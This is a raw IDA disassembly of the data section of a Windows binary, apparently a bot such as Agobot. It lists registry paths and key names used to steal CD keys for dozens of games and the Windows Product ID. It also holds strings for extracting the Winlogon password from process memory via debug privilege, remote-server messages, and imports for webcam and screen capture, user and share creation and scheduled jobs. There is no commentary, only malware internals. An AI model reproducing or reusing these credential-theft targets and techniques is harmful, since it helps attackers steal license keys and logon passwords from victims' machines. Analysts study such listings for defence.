unk_42B75C	db    2			; DATA XREF: sub_407FEA+A8o
					; sub_40EE72+5E22o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
unk_42B794	db    2			; DATA XREF: sub_407FEA+3FEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_42B7E4	db    2			; DATA XREF: sub_407FEA+38Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
unk_42B830	db    2			; DATA XREF: sub_407FEA+2F7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4085B3+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4087EE+23o
					; sub_4089E7+26o
		align 10h
		dd 80000001h
off_42B894	dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr
					; sub_408C26+21o
					; "Software\\Valve\\CounterStrike\\Settings"
; ---------------------------------------------------------------------------
		push	500042CAh
		retf	42h
; ---------------------------------------------------------------------------
dword_42B8A0	dd 2 dup(0)		; DATA XREF: sub_408C26+26o
		dd 80000001h, 42CA28h, 42CA1Ch,	42CA0Ch, 2 dup(0)
		dd 80000001h, 42C9ECh, 42C9E8h,	42C9D4h, 2 dup(0)
		dd 80000001h, 42C9B0h, 42C9E8h,	42C9A4h, 2 dup(0)
		dd 80000001h, 42C980h, 42C978h,	42C964h, 2 dup(0)
		dd 80000001h, 42C950h, 42C940h,	42C924h, 2 dup(0)
		dd 80000001h, 42C8E0h, 42CA68h,	42C8CCh, 2 dup(0)
		dd 80000002h, 42C8A0h, 42C894h,	42C874h, 2 dup(0)
		dd 80000002h, 42C840h, 42CA68h,	42C828h, 2 dup(0)
		dd 80000002h, 42C7F4h, 42CA68h,	42C7DCh, 2 dup(0)
		dd 80000002h, 42C7C4h, 42CA68h,	42C7ACh, 2 dup(0)
		dd 80000002h, 42C770h, 436EDCh,	42C760h, 2 dup(0)
		dd 80000002h, 42C728h, 436EDCh,	42C714h, 2 dup(0)
		dd 80000002h, 42C6C8h, 436EDCh,	42C6A8h, 2 dup(0)
		dd 80000002h, 42C658h, 436EDCh,	42C62Ch, 2 dup(0)
		dd 80000002h, 42C5F0h, 436EDCh,	42C5DCh, 2 dup(0)
		dd 80000002h, 42C5A4h, 436EDCh,	42C594h, 2 dup(0)
		dd 80000002h, 42C544h, 436EDCh,	42C518h, 2 dup(0)
		dd 80000002h, 42C4D8h, 436EDCh,	42C4BCh, 2 dup(0)
		dd 80000002h, 42C48Ch, 436EDCh,	42C46Ch, 2 dup(0)
		dd 80000002h, 42C430h, 436EDCh,	42C41Ch, 2 dup(0)
		dd 80000002h, 42C3D4h, 436EDCh,	42C3B4h, 2 dup(0)
; ---------------------------------------------------------------------------
		add	al, [eax]
		add	byte_42C360[eax], al
		fsubr	qword ptr [esi+43h]
		add	[eax], dh
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd 2 dup(0)
		dd 80000002h, 42C2E0h, 436EDCh,	42C2B4h, 2 dup(0)
		dd 80000002h, 42C274h, 42C26Ch,	42C24Ch, 2 dup(0)
		dd 80000002h, 42C208h, 436EDCh,	42C1ECh, 2 dup(0)
		dd 80000002h, 42C1A0h, 436EDCh,	42C17Ch, 2 dup(0)
		dd 80000002h, 42C148h, 436EDCh,	42C13Ch, 2 dup(0)
		dd 80000002h, 42C108h, 436EDCh,	42C0FCh, 2 dup(0)
		dd 80000002h, 42C0C8h, 436EDCh,	42C0BCh, 2 dup(0)
		dd 80000002h, 42C088h, 436EDCh,	42C07Ch, 2 dup(0)
		dd 80000002h, 42C040h, 436EDCh,	42C02Ch, 2 dup(0)
		dd 80000002h, 42BFF0h, 436EDCh,	42BFDCh, 2 dup(0)
		dd 80000002h, 42BFACh, 42CA68h,	42BF90h, 2 dup(0)
		dd 80000002h, 42BF70h, 42BF68h,	42BF44h, 2 dup(0)
		dd 80000002h, 42BF28h, 42BF68h,	42BF08h, 2 dup(0)
		dd 80000002h, 42BEE8h, 42BF68h,	42BEC4h, 2 dup(0)
		dd 80000002h, 42BEACh, 42BF68h,	42BEA8h, 2 dup(0)
		dd 80000002h, 42BE8Ch, 42BE7Ch,	42BE74h, 2 dup(0)
		dd 80000002h, 42BE40h, 42BE3Ch,	42BE24h, 2 dup(0)
		dd 80000002h, 42BDE8h, 42BDDCh,	42BDB4h, 42BDA4h, 42BD90h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD4Ch, 42BD3Ch, 42BD34h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BD08h, 42BD3Ch, 42BD00h
		dd 80000002h, 42BD6Ch, 42BD60h,	42BCD0h, 42BD3Ch, 42BCC8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
byte_42C360	db 53h			; DATA XREF: ___:0042BAA2w
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0
aCdkey		db 'CDKey',0
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_42B894o
		align 4
asc_42CA98:				; DATA XREF: sub_408C26+E9o
					; sub_408C26+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_408C26+8Fo
					; sub_40EE72:loc_413643o
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_408C26+7Eo
					; sub_408EE5+45o ...
		align 4
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_408C26+2Bo
		align 4
unk_42CABC	db    2			; DATA XREF: sub_408DCA+C8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_42CAEC	db    2			; DATA XREF: sub_408DCA+5Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 66h,	69h, 6Ch
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_408EE5+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_408EE5+1Ao
		align 4
unk_42CB3C	db    2			; DATA XREF: sub_409037:loc_4091B0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToEnable	db '   Failed to enable Debug Privilege.',0
		align 10h
unk_42CB80	db    2			; DATA XREF: sub_409037:loc_409183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindWi	db '   Unable to find Winlogon Process ID.',0
unk_42CBC4	db    2			; DATA XREF: sub_409037:loc_40917Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToFindTh	db '   Unable to find the password in memory.',0
		align 4
unk_42CC0C	db    2			; DATA XREF: sub_409037+117o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLogo	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(no password)).',0
		align 4
off_42CC84	dd offset byte_530055	; DATA XREF: sub_409037+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004B+2
		dd offset byte_4E0049
		dd 0
off_42CC9C	dd offset byte_530055	; DATA XREF: sub_409037+CEo
		dd offset byte_520045
		dd offset loc_41004B+3
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_409037+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_409037+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_409037+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_409037+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_409037+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_409037+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o
					; sub_409037+161o ...
		align 10h
unk_42CD60	db    2			; DATA XREF: sub_409037+35o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aOnlySupportedO	db '   Only supported on Windows NT/2000.',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_409209+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_409209+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_409209+AFo
		align 10h
unk_42CDC0	db    2			; DATA XREF: sub_40966F+70o
					; sub_409706+C7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_0	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/%S).',0
		align 4
unk_42CE2C	db    2			; DATA XREF: sub_409706+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTheWindowsLo_1	db '   The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us'
		db 'er: (%S/(N/A)).',0
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_40981F:loc_40A45Ao
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_40981F+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_40981F+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_40981F+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_40981F+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_40981F+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_40981F:loc_40A3BCo
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_40981F+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_40981F+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_40981F:loc_40A372o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_40981F:loc_40A2FEo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_40981F+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_40981F:loc_40A2B4o
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_40981F:loc_40A26Ao
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_40981F+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_40981F+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_40981F+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_40981F+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_40981F+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_40981F+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_40981F+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_40981F+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_40981F:loc_40A15Fo
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_40981F+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_40981F+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_40981F+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_40981F:loc_40A100o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_40981F+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_40981F:loc_409FE0o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_40981F+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_40981F+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_40981F+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_40981F+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_40981F+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_40981F+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_40981F+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_40981F+62Do
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_40981F+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_40981F+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_40981F+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_40981F+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_40981F+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_40981F+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_40981F+5D2o
					; sub_40EE72+220Do
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_40981F+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_40981F+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_40981F+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_40981F+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_40981F+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_40981F+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_40981F+577o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_40981F+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_40981F+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_40981F+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_40981F+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_40981F+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_40981F+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_40981F+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_40981F+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_40981F+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_40981F+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_40981F+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_40981F+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_40981F+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_40981F+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_40981F+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_40981F+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_40981F:loc_409C2Eo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_40981F:loc_409C06o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o
